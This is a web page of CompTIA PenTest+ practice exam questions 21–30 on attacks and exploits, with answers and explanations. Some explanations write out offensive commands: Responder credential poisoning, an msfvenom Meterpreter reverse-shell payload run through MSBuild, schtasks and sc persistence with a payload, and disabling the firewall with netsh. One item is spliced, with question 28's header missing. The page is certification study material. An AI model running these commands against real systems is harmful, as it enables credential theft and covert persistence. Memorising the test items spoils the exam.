Topic · 44 of 148 questions freeAttacks and Exploits
Question 21Choose 1
A penetration tester needs to collect information over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal?
Correct answer:
C. responder.py -I eth0 -wP
Explanation:
To collect information over the network, especially during an internal assessment, tools that can capture and analyze network traffic are essential. Responder is specifically designed for this purpose, and it can capture NTLM hashes and other credentials by poisoning various network protocols.
Here’s a breakdown of the options:
Option A: ntlmrelayx.py -t 192.168.1.0/24 -1 123 ntlmrelayx.py is used for relaying NTLM authentication but not for broad network information collection.
Option B: nc -tulpn 1234 192.168.1.2 Netcat (nc) is a network utility for reading from and writing to network connections using TCP or UDP but is not specifically designed for comprehensive information collection over a network.
Option C: responder.py -I eth0 -wP Responder is a tool for LLMNR, NBT-NS, and MDNS poisoning. The -I eth0 option specifies the network interface, and -wP enables WPAD rogue server which is effective for capturing network credentials and other information.
Option D: crackmapexec smb 192.168.1.0/24 CrackMapExec is useful for SMB-related enumeration and attacks but not specifically for broad network information collection.
References from Pentest:
Anubis HTB: Highlights the use of Responder to capture network credentials and hashes during internal assessments.
Horizontall HTB: Demonstrates the effectiveness of Responder in capturing and analyzing network traffic for further exploitation.
Question 22Choose 1
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?
Correct answer:
A. Enable monitoring mode using Aircrack-ng.
Explanation:
This question asks for the next step after placing a wireless USB dongle in the laptop with the goal of capturing WPA2 handshakes.
Understanding the scenario:
The tester has the hardware (USB dongle) connected but has not yet configured it for wireless packet capture. To capture WPA2 handshakes, the wireless interface must be in monitor mode (also called RFMON mode). This allows the interface to capture packets without associating with a network.
Let's evaluate each option based on what should be done next:
A. Enable monitoring mode using Aircrack-ng: Aircrack-ng is a suite of tools for wireless assessment. Within this suite, the airmon-ng command is specifically used to enable monitor mode on wireless interfaces. After enabling monitor mode, the tester could then use airodump-ng to capture handshakes. This is a valid and common next step. This could be correct.
B. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes: Kismet is a wireless network detector, sniffer, and intrusion detection system. It can automatically put supported wireless interfaces into monitor mode and begin capturing data, including handshakes. This is also a valid next step—it combines enabling monitor mode and starting capture in one tool. This could also be correct.
C. Run KARMA to break the password: KARMA is an attack technique (and tool) for tricking clients into connecting to rogue access points. It is not used for capturing handshakes or cracking passwords directly. This is not the next step after inserting the dongle. Incorrect.
D. Research WiGLE.net for potential nearby client access points: WiGLE is a website that aggregates wireless network data (wardriving data). This is a passive reconnaissance step that could be done before the engagement, but it is not the immediate next step after inserting the dongle for live handshake capture. Incorrect.
Which is the best answer?
Both A and B describe valid next steps. However, the question asks: "Which of the following steps should the tester take next?" In a typical wireless assessment workflow, the very first step after connecting the hardware is to enable monitor mode on the interface. While Kismet can do this automatically, it is a more comprehensive tool that also performs other functions. Aircrack-ng's airmon-ng is the most direct and common tool for specifically enabling monitor mode as a discrete first step.
Additionally, the question specifically mentions "using Aircrack-ng" in option A, which aligns with the context of capturing WPA2 handshakes (a common task for the Aircrack-ng suite).
Conclusion:
The immediate technical step is to configure the wireless interface for packet capture by enabling monitor mode, typically done with airmon-ng from the Aircrack-ng suite.
Correct Answer: A. Enable monitoring mode using Aircrack-ng.
Question 23Choose 1
A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?
Correct answer:
D. SCA
Explanation:
The tester’s activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known as Software Composition Analysis (SCA). Here’s why:
Understanding SCA:
Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities, and ensuring license compliance.
Purpose: To detect and manage risks associated with third-party software components.
Comparison with Other Terms:
SAST (A): Static Application Security Testing involves analyzing source code for security vulnerabilities without executing the code.
SBOM (B): Software Bill of Materials is a detailed list of all components in a software product, often used in SCA but not the analysis itself.
ICS (C): Industrial Control Systems, not relevant to the context of software analysis.
The tester’s activity of examining a JAR file for vulnerable components aligns with SCA, making it the correct answer.
Question 24Choose 1
A penetration tester wants to use the following Bash script to identify active servers on a network:
1 network_addr="192.168.1"
2 for h in {1..254}; do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null
4 if [ $? -eq 0 ]; then
5 echo "Host $h is up"
6 else
7 echo "Host $h is down"
8 fi
9 done
Which of the following should the tester do to modify the script?
Correct answer:
C. Use seq on the loop on line 2.
Explanation:
The issue lies in the loop on line 2:
for h in {1..254}; do
The brace expansion {1..254} is interpreted by the shell before the loop runs. In some shells (like Bash), this works fine, but in others or in certain contexts, it may not expand as expected.
To ensure portability and reliability, penetration testers often use seq to generate numeric ranges:
for h in $(seq 1 254); do
This guarantees that the loop iterates through all IP addresses from 192.168.1.1 to 192.168.1.254.
Other options explained:
A. Change the condition on line 4
Not necessary; $? -eq 0 correctly checks if the last command (ping) succeeded.
B. Add 2>&1 at the end of line 3
Redirecting stderr to stdout is not required since output is already being sent to /dev/null.
D. Replace h with ${h} on line 3
Both $h and ${h} work identically here; no functional change.
Thus, the correct modification is to use seq in the loop.
Reference
CompTIA PenTest+ PT0-003 Exam Objectives: Domain 4.0 – Tools and Code Analysis (covers scripting for automation in penetration testing).
GNU seq documentation: seq is a standard utility for generating sequences of numbers, commonly used in shell scripting.
Question 25Choose 1
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:="font-size: 10pt;">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
Correct answer:
B. MSBuild.exe C:\evil.xml
Explanation:
Let's break this down step by step. The question describes a specific scenario where the penetration tester uses msfvenom to generate shellcode (specifically for a Meterpreter reverse shell) and outputs it in the C# format. They then take this C# shellcode and place it inside a file named evil.xml.
The key here is understanding the relationship between the payload format (-f csharp) and the filename (.xml), and which native Windows binary is known to execute code from an XML file.
Understanding MSBuild.exe
MSBuild.exe is Microsoft's build platform for Visual Studio projects. It compiles and executes C# code defined in XML-based project files (.csproj, .xml).
It is a "Living off the Land" (LotL) binary, meaning it is a signed, native Windows executable that attackers abuse to bypass application whitelisting.
It can take an XML file as an argument, compile the C# code embedded within it on the fly, and execute it.
Why this scenario fits MSBuild:
The tester generated shellcode in C# format and put it into an XML file. This is the exact recipe for an MSBuild execution attack. The XML file would be structured to define a C# class and task that, when built by MSBuild, executes the embedded shellcode.
Analysis of the other options:
A. regsvr32.exe
This is used to register and unregister DLLs. It can be abused to execute scriptlets (.sct) remotely, but it does not compile C# from an XML file. The .xml extension is wrong for its typical attack vector.
C. mshta.exe
This executes Microsoft HTML Applications (.hta), which are essentially HTML applications that can run VBScript or JavaScript. It does not handle raw C# shellcode in an XML file.
D. AppInstaller.exe
This is used for installing Windows applications from the Microsoft Store or via App Installer files (.appinstaller). It is not a tool for compiling arbitrary C# code from a generic XML file.
Conclusion:
Since the payload was generated in C# and placed in an XML file, the tester needs a tool that can interpret XML, compile C#, and execute the result. That tool is MSBuild.exe.
Correct Answer:
B. MSBuild.exe C:\evil.xml
Question 26Choose 1
Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?
Correct answer:
A. Creating registry keys
Explanation:
In a Windows environment, creating or modifying specific Registry Run keys (such as HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run) is a classic method for achieving persistence. When a user logs in or the system boots up, the operating system automatically executes the file path specified in these keys. This ensures that the tester's malware or beacon restarts automatically without requiring a new exploit to be fired.
Incorrect Answers
B: Installing a bind shell
Reasoning: A bind shell opens a communication port on the victim's machine and waits for the attacker to connect. While this provides access, it is typically not persistent. If the system reboots or the process is killed, the bind shell is gone. Furthermore, bind shells are easily detected by firewalls blocking inbound traffic.
C: Executing a process injection
Reasoning: Process injection is an evasion and privilege escalation technique where malicious code is "hollowed" into a legitimate running process (like explorer.exe). While this hides the attacker's presence in memory, it is volatile. Once the process ends or the computer restarts, the injected code is lost.
D: Setting up a reverse SSH connection
Reasoning: A reverse SSH connection is a method of Command and Control (C2) or Exfiltration. While it helps bypass firewalls (outbound traffic is usually allowed), simply setting up the connection does not guarantee it will stay there. Without a "cron job" or a "startup service" to re-initiate the connection, it will terminate as soon as the session ends or the system reboots.
References
CompTIA PenTest+ (PT0-003) Objective 4.4: "Given a scenario, perform post-exploitation techniques." (Focus on Persistence mechanisms).
MITRE ATT&CK Framework: Technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder).
NIST SP 800-115: Technical Guide to Information Security Testing and Assessment.
Question 27Choose 2
A penetration tester gains initial access to a target system by exploiting a recent RCE vulnerability. The patch for the vulnerability will be deployed at the end of the week. Which of the following utilities would allow the tester to reenter the system remotely after the patch has been deployed? (Select two).
Correct answer:
A. schtasks.exe
E. sc.exe
Explanation:
The question is asking about maintaining persistence after the original Remote Code Execution (RCE) vulnerability is patched.
Once the patch is applied, the initial exploit path disappears, so the penetration tester needs a way to reenter the system remotely using mechanisms already built into Windows.
This is a classic post-exploitation persistence scenario in the PenTest+ objectives.
✅ A. schtasks.exe — Correct
schtasks.exe is used to create or modify scheduled tasks in Windows.
A tester can create a task that:
Runs at system startup
Executes periodically
Launches a reverse shell or beacon
Runs under SYSTEM or another privileged account
Example persistence idea:
schtasks /create /sc onstart /tn updater /tr "C:\payload.exe" /ru SYSTEM
Even after patching, the scheduled task remains and executes automatically.
Why CompTIA likes this answer:
Scheduled tasks are a very common real-world persistence technique (MITRE ATT&CK: Scheduled Task/Job).
✅ E. sc.exe — Correct
sc.exe manages Windows services.
A penetration tester can:
Create a malicious service
Configure it to auto-start
Run a payload or backdoor with SYSTEM privileges
Example:
sc create updater binPath= "C:\payload.exe" start= auto
Services restart automatically and survive reboots and patches.
This is strong persistence because services often run with elevated privileges.
❌ Why the Other Options Are Wrong
B. rundll.exe
Used to execute DLL functions.
Helpful for execution or evasion, not persistence by itself.
Does not automatically reestablish access after patching.
Execution tool, not a persistence mechanism.
C. cmd.exe
Simply opens a command shell.
Provides no persistence or automatic reentry.
Temporary access only.
D. chgusr.exe
Used in Remote Desktop Session Host environments to switch install modes.
Not related to persistence or remote access.
Irrelevant to maintaining access.
F. netsh.exe
Configures network settings and firewall rules.
Could help enable connectivity but does not create persistence alone.
Support utility, not a reentry mechanism.
PenTest+ Exam Tip
When you see phrases like:
“after patch deployment”
“maintain access”
“reenter system later”
A penetration tester gains access to a host but does not have access to any type of shell. Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?
Correct answer:
B. Netcat
Explanation:
The scenario describes a penetration tester who has gained access to a host (e.g., via file upload, command injection, exploit callback, or other means) but lacks any interactive shell (no reverse/bind shell, no cmd.exe/PowerShell prompt, no remote execution channel).
In this limited-access situation, the goal is to further enumerate the host (local info like users, processes, network config) and the environment (network connectivity, open ports, neighboring systems) without a full shell.
Netcat (nc) is the best tool here because:
It is extremely lightweight and often already present on targets (especially Linux/Windows variants like ncat).
It can be uploaded/executed via the existing access vector (e.g., via a vulnerable upload or command exec).
It enables network-based enumeration without needing a shell:
Port scanning (nc -zv host port or looping scripts).
Banner grabbing (nc host port to read service responses).
Setting up a simple listener or reverse connection attempt.
Basic connectivity testing to pivot or map the internal network.
In many real-world and exam scenarios, testers use Netcat to "phone home," test outbound restrictions, or relay basic commands/info when no shell exists yet.
This makes Netcat versatile for bridging the gap to fuller access or deeper enumeration.
Why not the other options?
A. ProxyChains
ProxyChains routes traffic through proxies (e.g., SOCKS from a compromised host). It requires a local proxy server running on the target (e.g., via ssh -D or redsocks), which needs shell-level control to set up. Without any shell, you cannot start the proxy, making it useless in this scenario.
C. PowerShell ISE
PowerShell Integrated Scripting Environment (ISE) is a GUI tool for writing and debugging PowerShell scripts on Windows. It requires:
An interactive desktop session (RDP or local login).
PowerShell execution policy allowing scripts.
Without a shell, there is no way to launch ISE or run commands interactively, making it not feasible.
D. Process IDs
This is not a tool or utility; it is simply a concept (PIDs identify running processes). Enumerating PIDs requires access to list processes (e.g., tasklist, ps, Get-Process), which needs a shell or execution capability. It is not a method or tool for enumeration.
Key Reference & Learning Point
MITRE ATT&CK: T1016 – System Network Configuration Discovery; T1046 – Network Service Discovery (Netcat is often used for basic port and service enumeration without a full shell).
CompTIA PenTest+ PT0-003 objectives (Domain 2.0 – Reconnaissance and Enumeration; Domain 3.0 – Attacks and Exploits): Covers tools for enumeration in constrained environments, including Netcat as a multi-purpose networking tool for banner grabbing, port scanning, and basic pivoting when shell access is absent.
This question (or very similar variants) appears in multiple PT0-003 practice exams, with Netcat consistently as the correct answer for no-shell enumeration scenarios.
Bottom line:
When you have foothold access but no shell, Netcat provides the most flexible and realistic way to probe the host's network environment and services to gather intelligence or set up better access.
Question 29Choose 1
During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system. The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?
Correct answer:
D. netsh.exe
Explanation:
When pivoting between Windows systems, if a local firewall is suspected of blocking connections, the built-in utility most commonly used to configure or disable the firewall is netsh.exe.
netsh.exe → A powerful Windows command-line tool for managing network configurations, including enabling/disabling the firewall, modifying firewall rules, and configuring networking parameters. Attackers and penetration testers often abuse it to disable or alter firewall settings to allow lateral movement.
Other options explained:
A. certutil.exe
Used for certificate management and file transfers (often abused for downloading payloads), but not for firewall control.
B. bitsadmin.exe
Used for background file transfers, not firewall management.
C. msconfig.exe
A GUI tool for system configuration, not a command-line utility for firewall control.
Thus, the most likely utility to disable the firewall is netsh.exe.
Reference
CompTIA PenTest+ PT0-003 Exam Objectives: Domain 3.0 – Attacks and Exploits (covers pivoting and firewall evasion).
MITRE ATT&CK Technique T1562.004: Impair Defenses – Disable or Modify System Firewall (netsh.exe abuse).
Question 30Choose 1
After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:
Which of the following best explains the team's objective?
Correct answer:
D. To create persistence in the network
Explanation:
The log entries show the penetration testing team using schtasks.exe:
At 05:50AM, they queried existing scheduled tasks (schtasks /query).
At 05:53AM, they created a new scheduled task (schtasks /CREATE /SC DAILY).
This sequence indicates they were not just enumerating tasks but actively creating a scheduled task. Scheduled tasks are a well-known persistence mechanism in Windows: they ensure that malicious payloads or backdoors are executed automatically at regular intervals or system startup, allowing attackers (or testers simulating them) to maintain access even after reboots or user logouts.
Other options explained:
A. To enumerate current users → Not related; schtasks deals with scheduled tasks, not user accounts.
B. To determine the users' permissions → Permissions are not checked with schtasks; that would involve tools like whoami or net user.
C. To view scheduled processes → The /query command does this, but the subsequent /CREATE shows the intent was persistence, not just viewing.
Reference:
CompTIA PenTest+ PT0-003 Exam Objectives: Domain 3.0 – Attacks and Exploits (covers persistence techniques).
MITRE ATT&CK Technique T1053.005: Scheduled Task/Job – Scheduled Task (attackers use schtasks.exe to maintain persistence).
Practice Like It's Exam Day
Get exam-ready with a timed PT0 003 CompTIA PenTest+ mock exam designed to match the official exam's question format, question count, and time limit.